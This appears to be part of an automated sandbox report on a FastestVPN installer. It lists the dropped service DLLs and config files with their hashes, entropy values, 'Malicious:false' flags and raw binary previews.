                                                                                                                    SHA-512:82C58B9061CB8B4603B88AB69CD43461A886029AA7CE1A1ADB614F07EEE90FA979F7CC524272D6A494BADC79254906182DE5A90BF992E48160CA5C3DBE57C334
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U=............" ..0..............<... ...@....... ....................................`.................................z<..O....@...............(...#...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................<......H.......$....m..............H(...;........................................{0...*..{1...*V.(2.....}0.....}1...*...0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6...*.*. .... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X*.0...........r...p......%..{0....................-.q.............-.&.+.......o9....%..{1....................-.q.............-.&.+.......o9....(:...*..{;...*..{<...*V.(2.....};.....}<...*...0..;........u......,/(3....{;....{;...o4...,.(5....{<..

                                                                                                                    C:\Program Files\FastestVPN\Service\is-CJ7QL.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60584
                                                                                                                    Entropy (8bit):6.426868083769682
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:W0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxnn:WxJ8kM9CHJ6bY3zkXX8u4iNd7EgIK/X
                                                                                                                    MD5:D4BECC422A254D1A75CFC60750572848
                                                                                                                    SHA1:2AE1D45045828B8D9A57DD90213F462D72F9A98B
                                                                                                                    SHA-256:A8BC4A168A5F9CD7ABBBBFF3F0794F433233A72D557E168AF42BD34FFF3A2F34
                                                                                                                    SHA-512:91A1E21F87868A00CF715018577A028413CB638A7965756324AFCF16A6108906DCB355959882C2C555C7276EF1A70627E455B4057695DE8C462E4D0679FEFAC5
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                    C:\Program Files\FastestVPN\Service\is-E39BQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):41128
                                                                                                                    Entropy (8bit):6.401085070695131
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:lQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtRKS:4VutFQF873t3/77KaDBuz3bzrBJBOKiT
                                                                                                                    MD5:AD53B27150F1E38EF23BD155A07E2313
                                                                                                                    SHA1:3A9A4383B9286A0E1A3F4102BC56437A5A961E41
                                                                                                                    SHA-256:62DBC8A6D43D623E5F267B59A3C78807CB08EFBE37A06A67425C9458D8B985DA
                                                                                                                    SHA-512:F8D471175E39425F1E1613C60EDD9D1A98DBACC98E3F18746AA642524AFB7D9F9A299B2BE33629200AB94538BF95C78B6343DE193EE3AD48B1CFC1DD4E37E9D4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                    C:\Program Files\FastestVPN\Service\is-EDC5Q.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):101776
                                                                                                                    Entropy (8bit):6.519631245398067
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:+iE88BMo5Gv8yIu8mRfXU5i8Ubd0L1nDmNxk3NUXwPrSMk7+W+shzS0ICpL:+iE88BMo5Gv8yIu8mRfXU5fUbd01mNxV
                                                                                                                    MD5:58D1267BAFC9E0D9531D7C97A08A3A68
                                                                                                                    SHA1:1EC6E26D9E71D1CB5C885879CC8F6D3762DC5FD6
                                                                                                                    SHA-256:34FB96B4CCA40AC4312E36E3310EACC2C13F2562BAAB7FFE836060965B7AD579
                                                                                                                    SHA-512:E6A6EDE57B59CB675D869D1B5BD43C67C864363CE7168538ABB048F911783181546F7CBFEB29EE49EEC21291EEBD442E3BA9819967F8ABE3AD00AC33C94A3620
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c=..........." ..0..\...........z... ........... ...................................`.................................Kz..O....................f...'..........<C..p............................................ ............... ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H..........,............A.......B.......................................0..............o+...-..........*......*.0............(...+..-..........*..(...+*....0...........(,....s-...}......}/.....}2........(....r...p.$o/......5...(....r+..p.$o/...}1.....(0...,..o1........(....(2...,....{/...o3...t....}0....{1....(4...-..{0...-..{2...rI..p(....*.0..D........{1....(4...-..{0...-.(5...*.{1....o6...o3....l......(........o6...*.0...........{.......o7...,..*..(....*...0..........s8..

                                                                                                                    C:\Program Files\FastestVPN\Service\is-F2JV1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.588649497011045
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:RYTtf+jLXlZfCd8RzDiFrlwkmGWUlupd0IYisq+i0FP27NBY3Yuv+42r:RYpKjlZfC6Fqg7FYiQ7K/Y/+42r
                                                                                                                    MD5:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                    SHA1:AB18989C4442EB204528E64B18000E8E02FA2C50
                                                                                                                    SHA-256:4E296E9B159F5D64E6E71821C9C06260AC02EBB424823ADA64E97DFD418C3CA1
                                                                                                                    SHA-512:7F6D1228F93E454477E3C4250D1D0C78995DE8D9AE07FA585DC8BDCBB4A1046338B66BEFE0BD9BF63F61085657F7080A1C6350403292E484F047F9ED791EF43B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._S............"...0..............M... ...`....@.. ...............................0....`..................................M..O....`..,............:...*...........L..8............................................ ............... ..H............text....-... ...................... ..`.rsrc...,....`.......0..............@..@.reloc...............8..............@..B.................M......H........(..H#...........L................................................{....*"..}....*6.(.....(....*..0..g.........(....... ....0.. .....0. .....". .....&*. .....#. .....!. ......*(,...*(-...*(....*(/...*(0...*(1...*..0..J.......(....(....-.(....(....&~....r...p(.....(.......1.~......(....(......(....*Z(-....(....%-.&*o....*....0.."........r...p..(....(....(....(......&..*...................0..#....... F#.....+..(....-..*..X...X....2..*..0..1.......(....o......,...-..*..+.

                                                                                                                    C:\Program Files\FastestVPN\Service\is-HF6P6.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):15528
                                                                                                                    Entropy (8bit):6.93175318343703
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:KKE4Nl+ACIYiYF80CX+0tvTS8hFP2bnNr/ZyGMLBVYvmvVKNFUK:ZE4OhIYifS0FP27NBY3Yuv+n
                                                                                                                    MD5:ADF6FCD8199E4DA7F52FBEBD9D9496D7
                                                                                                                    SHA1:17E7E444AB035AE759D3B0E48928B7D23CEC3682
                                                                                                                    SHA-256:C1AF49ACF4E6E9B77C025405CB31E6493F4A9A0080AE48381CE3B36EC5E1D76E
                                                                                                                    SHA-512:72F42DC40B2B1B9C25F0B4BC6E18BCE4B9F144A39442B05E5DF6FB792EA1F5E0645E5CF6251918AF0D81316437982ADBE6892992E4F4323CF48C84A6B08FD809
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.P...........!................N)... ...@....... ....................................@..................................(..W....@...................*...`.......'............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0)......H........ ......................P ......................................-.N...._J...a.w~.{...I..}.B.;=.XT.Jh.;.(f.eU/@r.. .......g...^......{i....h]..A,};......g..4..bb.....(..S).]..Ol.[..r....C.BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob...........G.........%3................................................................H.-...p.i.....i.....................8.....W.......p.....p.................i.......;.$...

                                                                                                                    C:\Program Files\FastestVPN\Service\is-IBU7R.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):65960
                                                                                                                    Entropy (8bit):6.704364809732977
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:qC7HwuzTT2IiiiiHnt7qMkPFb5NMBFv8n+nwfqw9ScubQyvz8:LTT2IiN09yPFbwBFyysqhvQyvo
                                                                                                                    MD5:3B6AD220174768E52510D449C7A5C817
                                                                                                                    SHA1:E76CB664268F45939A0A604E31CAB3DBE957510A
                                                                                                                    SHA-256:294A04A1305277ABDF2539649F8A7909DAC57ECF61F223600227BC1CDED6E2DC
                                                                                                                    SHA-512:43852FA0F4FD12967DAAF81613FF3C52EAD432F39E579E1C5C834595881A9E6AC156BCE326CEE3EB78D11D81AD33792870D31F81D7737483CF36636DB30DFCF1
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......=.....`.................................e...O....... ................'... ......`...p............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc....... ......................@..B........................H........H...u..............X............................................0..>........-.r...ps....z.o....r...p..o....,..uW.....(....-..*("...s....z..-.r...ps....z.-.r...ps....z.o....r...p.o ...*..(!....s"...(......(......(....*..{....*R..}.....(.....o#...*..{....*"..}....*..{....*"..}....*z.(!.....(......%-.&s$...(....*..{....*"..}....*..{....*"..}....*..(!....-.r...ps....z..(%...s&...}.....{....o'...-.r...ps(...z*....0..g.........,..*.-.r...ps....z.o)...o*..../..*.o)...o+....

                                                                                                                    C:\Program Files\FastestVPN\Service\is-ILF9I.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):20136
                                                                                                                    Entropy (8bit):6.721932799011409
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:WaXxdsvBO/dITrZ+VK6G6IYi+PVC0FP27NBY3Yuv+cN:WJZl6GHYiGZK/Y/+cN
                                                                                                                    MD5:8E6A799F0DA3FBA278F06D4C7A18E7B5
                                                                                                                    SHA1:B9AD516A47362FFAF360C1E8794D2F10C8E7080F
                                                                                                                    SHA-256:1029DDF44F3CD774754DDFEAFB97BE18CD31B50DE24F19870F9BDE8163B5DEA5
                                                                                                                    SHA-512:4607E418C0BE1F632CBE5CE0A8F1877F45EB873C193B4FF7C52495E891BD05D7F3AA3847D97F36D7B5601FCCAFCF6DE4A822140D9610C9E9BCA900BC06C67DE8
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ....................................`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                    C:\Program Files\FastestVPN\Service\is-KI25U.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):122256
                                                                                                                    Entropy (8bit):6.572766216409801
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:nU40ONP+ki9jNhepTRIvy2V7iOHckTTv0c7tSuagvcCy:ShenI6w7wk0Sq3
                                                                                                                    MD5:C24CF68C9012B4E261D2FD6B2240BBE8
                                                                                                                    SHA1:45844AE139DB45652AAC12E1D6EE138ED709E261
                                                                                                                    SHA-256:42ED395C54526DAD6AA275CA2A65F6DE6E94BC8CEC8548CFB9891BA430FF1974
                                                                                                                    SHA-512:DDF7872EB70E9546D28A209A562C873BA9E9402AD600C3D44ACD425FC7337C19B581A8C06F8BAD5987B36EF82895AAD0DA48CBC7E0E64886CD0EB7C9884FFA4D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....*0..........." ..0.................. ........... ....................... .......$....`.................................k...O........................'..........0}..p............................................ ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........................u.......|........................................-.r...ps(...z......()....o*...*..-.r...ps(...z.-.r...ps(...z.......%...(...+&*..-.r...ps(...z.-.r...ps(...z.......%...(...+*...0..^........-.r...ps(...z.-.r...ps(...z.-.r-..ps(...z.(+...-..rI..p.o,...,.(S...r...ps-...z..s.....(....*...0...........-.r...ps(...z.-.r-..ps(...z..(....,$..(....rI..p.o,...,.(S...r...ps-...zs....%.o............%...(...+..o.......o/..........()...o0...t....o.....*...0..s.......

                                                                                                                    C:\Program Files\FastestVPN\Service\is-L468K.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):301224
                                                                                                                    Entropy (8bit):5.822993671222324
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOP:v56+Aq4WBTWpSqXhpeEioU2U7/c
                                                                                                                    MD5:8E545EE7F96C317AADC4EDA0F0FCF481
                                                                                                                    SHA1:242F4D714B142C10368AA82AF91B0A06E0A4E33F
                                                                                                                    SHA-256:A67BBFB9EFE5C1CD55D3B8209093BA93370F1EAE4F03A0349696D7B45867EAFC
                                                                                                                    SHA-512:77EBC317804B3D0830E76156D93A38980CA113CA80B0A3A2051FDF00D2ABAC96A39AA9BF099AE9CC5AF1E27D14976B5C582096DD6B3AB7F521423FCE6EC11FDE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P......2............ ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\is-NHIDA.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1327
                                                                                                                    Entropy (8bit):5.042117116126737
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JdArztW1oF7Nv+pvH2/+jSLVhOXrRH2/dVv+BvH2/+jSLVtvH2/39y:3Arzcq7h+Fg+mL27Rgdp+dg+mLPg3w
                                                                                                                    MD5:E40244BE7715300DC4BA229C25237728
                                                                                                                    SHA1:F9D299542C616D860D495CE59A6FD2B90907B2E5
                                                                                                                    SHA-256:AE5027694FF0D363F757F112162AC8D49550826872C9A5B2BA67A75F56109C4D
                                                                                                                    SHA-512:CBEA4111D0A2D8BB5FF5AD631728C85A38668C6D470AB8A4D59D5334B9309EF34125E9A9F70EA942113212D5B1FD5EABF9DF860F9112B52D55C95EE32BB8721A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin.Security" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0

                                                                                                                    C:\Program Files\FastestVPN\Service\is-NHJNP.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.829205499580206
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:+NjMaZomdl7FUC9mhsCVoNycrjIg9J197j26dIYi5YFK0FP27NBY3Yuv+QgP:+HhShzuD/Bpa6KYiyFjK/Y/+PP
                                                                                                                    MD5:76DC589253A2FDAAA3CDD02E9F5421DD
                                                                                                                    SHA1:A072B9CDDBDC150394643EBFD565A2443AFD9501
                                                                                                                    SHA-256:9AC1C9B0343F4D9638FEB4FA25824AFBD2D829EEBF13E54A5FD2197CED2118B5
                                                                                                                    SHA-512:50A85E3C61A2506912BC0F4547079DAB2C6B60A882127A4C3087C9AB4065C6568B1E8D4AF246D68BFEE7E7347664883A2FC8E00E2E58EA1DE867FE33D8220861
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p.......D....@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\is-O8H61.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2027887
                                                                                                                    Entropy (8bit):7.99991190527501
                                                                                                                    Encrypted:true
                                                                                                                    SSDEEP:49152:Xq59t6J29oopQrjf4Os4NMYUyxasDEHViiF4Ej5BP:afh1pADsLYUmawEHVt51
                                                                                                                    MD5:295BD88AE28DC353A50D8951142DF944
                                                                                                                    SHA1:DAE193E2DBD3D5FB81CD56E18E87D982625B1C9D
                                                                                                                    SHA-256:35B2B55944334FB482492D42E4D0611C1EB1CA631D6E24606729E0A6E1C4BAE5
                                                                                                                    SHA-512:414613A91CB7AAEF52DD52F0A68DA208324CA7AB4B6675D24CF484B68CAAD88B748FD6149415F9D0240E39A6950E1BECF7CA7BCFB44466C4B327FD4CF21C37E6
                                                                                                                    Malicious:false
                                                                                                                    Preview:Windows Registry Editor Version 5.00....3a...KM..........3.^...^.Wg..m..k...).xy..WO....W.^....$...K...%..F.."...m..s.d{6..i....... .`[..5X.)X{W..^uB.k9j....4%.am%.}..&^..c...2.'.$...o^.`.=........AOo.w.ntfS....~..Id_.T..b..wA.~$.E..?.tc....=..z'..........0P.8.....W.l.uy.MSR..lz......z.-KJoz... .4.....Z.l..O3..L.I..WhF.....7.........0h%./.OP.9O..wydK.{:.b..y....)....V..)./......#...w..`.^V.ry..z.&.4...p<s..`...$0. a.z...m"N.-.d*...xX...;.t...J.@.@E..>1K5..q..()O}.[f.;[.:.'g9...<..V.I.cK..P2.*......e.......lj.Bq`...h..Ma.#.9`.&.......R.=_..!.5...~_..QH.....ze.C..F..t.].&.t...{4}.[O.2Z]%....;.q^.T.)v.}..H......$7..W..f..G.z9?...g=........V...Lkk...T,.S...V.r..U.F.dh_.V....,=.....(...!.t..G...pU.\.@..n.....%...2.<.i.OJ..[$9.d].V.....u....l.u..+.\/.Z..>..D5.K...v...;K..u.G..]1..LRa......e.v...@?.O..n....\..(....t...X...L/T+..Q..#(..B....R..b.>.....3L.$<MW....ES..38@n2o..;.oH.(OLL6l.,.D9g......`l.~=<.....T.G....[K...O..~......._....x|

                                                                                                                    C:\Program Files\FastestVPN\Service\is-QGH94.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):28648
                                                                                                                    Entropy (8bit):6.283743404391549
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:vPYMDLxA6GikwBUGkXkFmDKAsIh5V7L5XWmzWNsWtyHRN7XZj05seyR9zHA:vgMmZ1dUdGZSDuXZj05sN9zg
                                                                                                                    MD5:9FFF1DA4E481028262E27AEFD7C0EFF4
                                                                                                                    SHA1:B0128E42E3CE3C295C48461A651AF99D95B5A04D
                                                                                                                    SHA-256:3FDB918CC5F1E5F1FA9C155DC68AAFE10A16C73ED934C06B201ED94070EA985D
                                                                                                                    SHA-512:6B02B873C4092BFE3C2D8428093696E94C6021DB9D6FA8740E79DF7C6C5208229ED7AE8A62E96597EEEF348956BC6AB79375292B6456162F78D332E3830B75EC
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P^.b.........." ..0..>...........\... ...`....... ..............................c.....`.................................x\..O....`...............H...'..........@[............................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H.......(-...+..........8X.......Z........................................(.....s....(.....s....(.....s....(.....s....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*..0..1..........j...(.........(...._,.r...p(I...s....z..}....*..{....*"..}....*...0..p.......s....%r...po....&%.(....o....&%r/..po....&%.(....o....&%rU..po....&%.(....o....&%r{..po....&%.(.......(....-.r...p+..(.......(.......( .

                                                                                                                    C:\Program Files\FastestVPN\Service\is-R18E4.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):711952
                                                                                                                    Entropy (8bit):5.967185619483575
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                    MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                    SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                    SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                    SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                    C:\Program Files\FastestVPN\Service\is-R1MP1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):70824
                                                                                                                    Entropy (8bit):6.236705505937758
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:dMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTB7sK/T:SorK0HBDk4rV21HObvm2LJB4BAK/T
                                                                                                                    MD5:F7543F2749BAB00FB981A41BE19734F8
                                                                                                                    SHA1:8BE0A90C7C011EEF0A775A518F2A29CE4AB035AA
                                                                                                                    SHA-256:634CD208B4FE8DB050AC7D782CB953D51E266B62369F0F80B0CF9D10D077A76F
                                                                                                                    SHA-512:160FBEB4AE704D00800656274B7680003C64559867ACEFB9274A23A1AEE45A145254E66DF423653CC3776A2FFA2A4F98BA93510109CF9963AED4CEBA2913A106
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`............`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\Service\is-SIFEE.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):80784
                                                                                                                    Entropy (8bit):6.644018601476374
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:hwe4Dxq2afEZznigIM8U/w2ZAfiQ922f5qj1NrVuu26zmb:h54DxLaQAOw2C7922i1JVN6b
